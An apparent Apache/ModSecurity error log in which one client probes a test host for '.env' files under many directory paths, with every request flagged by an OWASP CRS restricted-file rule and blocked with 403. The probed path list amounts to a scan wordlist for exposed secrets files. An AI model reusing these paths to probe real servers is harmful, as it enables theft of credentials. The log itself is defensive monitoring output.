[Wed Mar 11 20:56:35.240093 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "abHI81HINoBDNij9jADMDAAAAAE"]
[Wed Mar 11 20:56:35.240251 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "abHI81HINoBDNij9jADMDAAAAAE"]
[Wed Mar 11 20:56:35.268331 2026] [:error] [pid 2634338] [client 185.177.72.60:51236] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /crm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "abHI85X0JxooV6RUP8UraQAAAA4"]
[Wed Mar 11 20:56:35.268501 2026] [:error] [pid 2634338] [client 185.177.72.60:51236] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "abHI85X0JxooV6RUP8UraQAAAA4"]
[Wed Mar 11 20:56:35.268639 2026] [:error] [pid 2634338] [client 185.177.72.60:51236] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "abHI85X0JxooV6RUP8UraQAAAA4"]
[Wed Mar 11 20:56:35.291892 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /local/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "abHI87VttqDN05FhB27I_gAAAAs"]
[Wed Mar 11 20:56:35.292071 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "abHI87VttqDN05FhB27I_gAAAAs"]
[Wed Mar 11 20:56:35.292212 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "abHI87VttqDN05FhB27I_gAAAAs"]
[Wed Mar 11 20:56:35.297164 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "abHI81HINoBDNij9jADMDQAAAAE"]
[Wed Mar 11 20:56:35.297315 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "abHI81HINoBDNij9jADMDQAAAAE"]
[Wed Mar 11 20:56:35.297430 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "abHI81HINoBDNij9jADMDQAAAAE"]
[Wed Mar 11 20:56:35.323737 2026] [:error] [pid 2634334] [client 185.177.72.60:51334] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "abHI8yLTdk5HIxV82QLTwQAAAAQ"]
[Wed Mar 11 20:56:35.323916 2026] [:error] [pid 2634334] [client 185.177.72.60:51334] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "abHI8yLTdk5HIxV82QLTwQAAAAQ"]
[Wed Mar 11 20:56:35.324051 2026] [:error] [pid 2634334] [client 185.177.72.60:51334] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "abHI8yLTdk5HIxV82QLTwQAAAAQ"]
[Wed Mar 11 20:56:35.343088 2026] [:error] [pid 2634341] [client 185.177.72.60:51348] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /development/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "abHI88C_9I0i5zrBPs0AVAAAABE"]
[Wed Mar 11 20:56:35.343268 2026] [:error] [pid 2634341] [client 185.177.72.60:51348] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "abHI88C_9I0i5zrBPs0AVAAAABE"]
[Wed Mar 11 20:56:35.343408 2026] [:error] [pid 2634341] [client 185.177.72.60:51348] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "abHI88C_9I0i5zrBPs0AVAAAABE"]
[Wed Mar 11 20:56:35.376871 2026] [:error] [pid 2634211] [client 185.177.72.60:51314] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /website/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/website/.env"] [unique_id "abHI8008hzg1BXieW_K35AAAAAI"]
[Wed Mar 11 20:56:35.377040 2026] [:error] [pid 2634211] [client 185.177.72.60:51314] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/website/.env"] [unique_id "abHI8008hzg1BXieW_K35AAAAAI"]
[Wed Mar 11 20:56:35.377180 2026] [:error] [pid 2634211] [client 185.177.72.60:51314] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/website/.env"] [unique_id "abHI8008hzg1BXieW_K35AAAAAI"]
[Wed Mar 11 20:56:35.394134 2026] [:error] [pid 2634341] [client 185.177.72.60:51348] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backup/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup/.env"] [unique_id "abHI88C_9I0i5zrBPs0AVQAAABE"]
[Wed Mar 11 20:56:35.394301 2026] [:error] [pid 2634341] [client 185.177.72.60:51348] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup/.env"] [unique_id "abHI88C_9I0i5zrBPs0AVQAAABE"]
[Wed Mar 11 20:56:35.394542 2026] [:error] [pid 2634341] [client 185.177.72.60:51348] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup/.env"] [unique_id "abHI88C_9I0i5zrBPs0AVQAAABE"]
[Wed Mar 11 20:56:35.413379 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /old/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old/.env"] [unique_id "abHI8-BvFsx28IYw-q9nFAAAAAg"]
[Wed Mar 11 20:56:35.413548 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old/.env"] [unique_id "abHI8-BvFsx28IYw-q9nFAAAAAg"]
[Wed Mar 11 20:56:35.413669 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old/.env"] [unique_id "abHI8-BvFsx28IYw-q9nFAAAAAg"]
[Wed Mar 11 20:56:35.416038 2026] [:error] [pid 2634239] [client 185.177.72.60:51312] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /test/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test/.env"] [unique_id "abHI8wGa7hTYdm05K1T1uwAAAAU"]
[Wed Mar 11 20:56:35.416219 2026] [:error] [pid 2634239] [client 185.177.72.60:51312] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test/.env"] [unique_id "abHI8wGa7hTYdm05K1T1uwAAAAU"]
[Wed Mar 11 20:56:35.416358 2026] [:error] [pid 2634239] [client 185.177.72.60:51312] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test/.env"] [unique_id "abHI8wGa7hTYdm05K1T1uwAAAAU"]
[Wed Mar 11 20:56:35.512774 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /tests/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tests/.env"] [unique_id "abHI81HINoBDNij9jADMDgAAAAE"]
[Wed Mar 11 20:56:35.512959 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tests/.env"] [unique_id "abHI81HINoBDNij9jADMDgAAAAE"]
[Wed Mar 11 20:56:35.513124 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tests/.env"] [unique_id "abHI81HINoBDNij9jADMDgAAAAE"]
[Wed Mar 11 20:56:35.527736 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env"] [unique_id "abHI87VttqDN05FhB27I_wAAAAs"]
[Wed Mar 11 20:56:35.527923 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env"] [unique_id "abHI87VttqDN05FhB27I_wAAAAs"]
[Wed Mar 11 20:56:35.528067 2026] [:error] [pid 2634322] [client 185.177.72.60:51270] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env"] [unique_id "abHI87VttqDN05FhB27I_wAAAAs"]
[Wed Mar 11 20:56:35.663569 2026] [:error] [pid 2634341] [client 185.177.72.60:51348] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /rest/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/rest/.env"] [unique_id "abHI88C_9I0i5zrBPs0AVgAAABE"]
[Wed Mar 11 20:56:35.663742 2026] [:error] [pid 2634341] [client 185.177.72.60:51348] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/rest/.env"] [unique_id "abHI88C_9I0i5zrBPs0AVgAAABE"]
[Wed Mar 11 20:56:35.663884 2026] [:error] [pid 2634341] [client 185.177.72.60:51348] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/rest/.env"] [unique_id "abHI88C_9I0i5zrBPs0AVgAAABE"]
[Wed Mar 11 20:56:35.667847 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /graphql/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/graphql/.env"] [unique_id "abHI81HINoBDNij9jADMDwAAAAE"]
[Wed Mar 11 20:56:35.668029 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/graphql/.env"] [unique_id "abHI81HINoBDNij9jADMDwAAAAE"]
[Wed Mar 11 20:56:35.668191 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/graphql/.env"] [unique_id "abHI81HINoBDNij9jADMDwAAAAE"]
